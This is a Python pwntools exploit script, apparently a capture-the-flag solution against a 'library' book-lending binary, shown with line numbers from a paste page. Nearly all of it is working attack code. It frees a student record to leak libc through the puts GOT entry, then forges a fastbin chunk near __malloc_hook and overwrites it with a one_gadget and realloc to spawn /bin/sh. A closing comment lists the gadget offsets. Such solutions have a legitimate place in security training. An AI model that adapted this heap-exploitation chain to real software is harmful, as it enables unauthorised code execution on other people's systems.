1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188
| from pwn import * context.log_level = "debug" p = process("./library") elf = ELF("./library") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") def bk(addr): gdb.attach(p,"b *"+str(hex(addr))) def student_register(name,passwd): p.recvuntil("admin or student?\n****************************\n") p.sendline('student') p.recvuntil("2.register\n") p.sendline('2') p.recvuntil("what's your name?\n") p.sendline(name) p.recvuntil("what's your passwd?\n") p.sendline(passwd)
def student_login(name,passwd): p.recvuntil("admin or student?\n****************************\n") p.sendline('student') p.recvuntil("2.register\n") p.sendline('1') p.recvuntil("input your name\n") p.sendline(name) p.recvuntil("input your passwd\n") p.sendline(passwd)
def stu_show_book(): p.recvuntil('4.logout\n****************************\n') p.sendline('1')
def stu_borrow_book(num,contents): p.recvuntil('4.logout\n****************************\n') p.sendline('2') p.recvuntil('how many books do you want to leave?\n') p.sendline(str(num)) p.recvuntil('tell me each book name\n') for content in contents: p.send(content) def stu_return_book(): p.recvuntil('4.logout\n****************************\n') p.sendline('3')
def stu_out(): p.recvuntil('4.logout\n****************************\n') p.sendline('4')
def admin_login(): p.recvuntil("admin or student?\n****************************\n") p.sendline('admin') p.recvuntil("please input your passwd\n") p.sendline('admin')
def admin_show_name(): p.recvuntil("5.logout\n****************************\n") p.sendline('1')
def admin_edit_info(index,name,passwd): p.recvuntil("5.logout\n****************************\n") p.sendline('2') p.recvuntil("tell me his index\n") p.sendline(str(index)) p.recvuntil('so give me new name\n') p.sendline(name) p.recvuntil("so give me new passwd\n") p.send(passwd) def admin_show_book(index): p.recvuntil("5.logout\n****************************\n") p.sendline('3') p.recvuntil("tell me his index\n") p.sendline(str(index)) def admin_free_stu(index): p.recvuntil("5.logout\n****************************\n") p.sendline('4') p.recvuntil("tell me his index\n") p.sendline(str(index)) def admin_out(): p.recvuntil("5.logout\n****************************\n") p.sendline('5')
bk(0x000000000040145E) student_register('yang1','123456') stu_borrow_book(6,['ytag\n','asas\n','ytag\n','asas\n',p64(elf.got['puts']),p64(1)]) stu_out()
admin_login() admin_free_stu(0) admin_out()
student_register('0000','123456') stu_out()
student_register('1111','123456') stu_out()
admin_login() admin_show_book(1) putsaddr = u64(p.recv(6).ljust(8,'\x00')) libcaddr = putsaddr - libc.symbols['puts'] print "libcaddr------->",hex(libcaddr) onegadget = libcaddr + 0xf1147 malloc_hook = libcaddr + libc.symbols["__malloc_hook"] fake_chunk = malloc_hook - 0x23 realloc = libcaddr + libc.symbols["realloc"] admin_out()
student_register("2222","123456") stu_borrow_book(12,['ytag\n','asas\n','ytag\n','asas\n']*3) stu_out() student_register("3333","123456") stu_borrow_book(2,['ytag\n','asas\n']) stu_out()
student_register("4444","123456") stu_borrow_book(12,['ytag\n','asas\n','ytag\n','asas\n']*3) stu_out() student_register("5555","123456") stu_borrow_book(12,['ytag\n','asas\n','ytag\n','asas\n']*3) stu_out() admin_login() name = '5555' passwd = 'b'*16 admin_edit_info(5,name,passwd) admin_out()
student_login(name,passwd) stu_return_book() stu_out() student_login("2222","123456") stu_return_book() stu_out() student_login("4444","123456") stu_return_book() stu_out() student_register('6666','123456') stu_borrow_book(12,[p64(fake_chunk),p64(fake_chunk)]*6) stu_out()
student_login('2222','123456') stu_borrow_book(12,['aaaa','bbbb']*6) stu_out() student_login('4444','123456') stu_borrow_book(12,[p64(fake_chunk),p64(fake_chunk)]*6) stu_out() a = p64(onegadget) b = p64(realloc) print "one--->" + hex(onegadget) student_register('9999','123456') stu_borrow_book(12,['aaaaaaaa','aaa'+a[:5],a[5:]+b[:5],b[5:]+'aaaaa','aaaaaaaa','aaaaaaaa','aaaaaaaa','aaaaaaaa','aaaaaaaa','aaaaaaaa','aaaaaaaa','aaaaaaaa']) stu_out()
student_login('2222','123456') stu_return_book() p.recvuntil('4.logout\n****************************\n') p.sendline('2') p.recvuntil('how many books do you want to leave?\n') p.sendline(str('1'))
p.interactive()
''' 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
'''
|